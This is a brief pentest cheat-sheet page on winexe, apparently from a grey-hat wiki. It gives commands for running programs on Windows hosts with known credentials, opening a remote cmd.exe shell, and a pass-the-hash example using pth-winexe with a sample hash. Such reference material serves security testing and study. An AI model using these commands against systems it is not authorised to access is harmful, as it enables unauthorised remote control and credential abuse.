Winexe
From Grayhat cheatsheets
Jump to navigationJump to searchProgram used for, from linux, execute commands in a windows machine where we know the username d password:
/winexe -U [Domain/]User%Password host_command
Examples:
./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “netstat -a”
./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “ipconfig -all”
./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “ping localhost”
The result of the command is given back in the output of winexe:
To get a shell:
./winexe -U HOME/Administrator%Pass123 //192.168.0.1 “cmd.exe”
can be used for pass the hash:
export SMBHASH=bcd3b4adb51404eeeca3b435be14aaee:6F403DEEEA024568CDCA94C1AD6561326
pth-winexe -U administrator% //192.168.1.100 cmd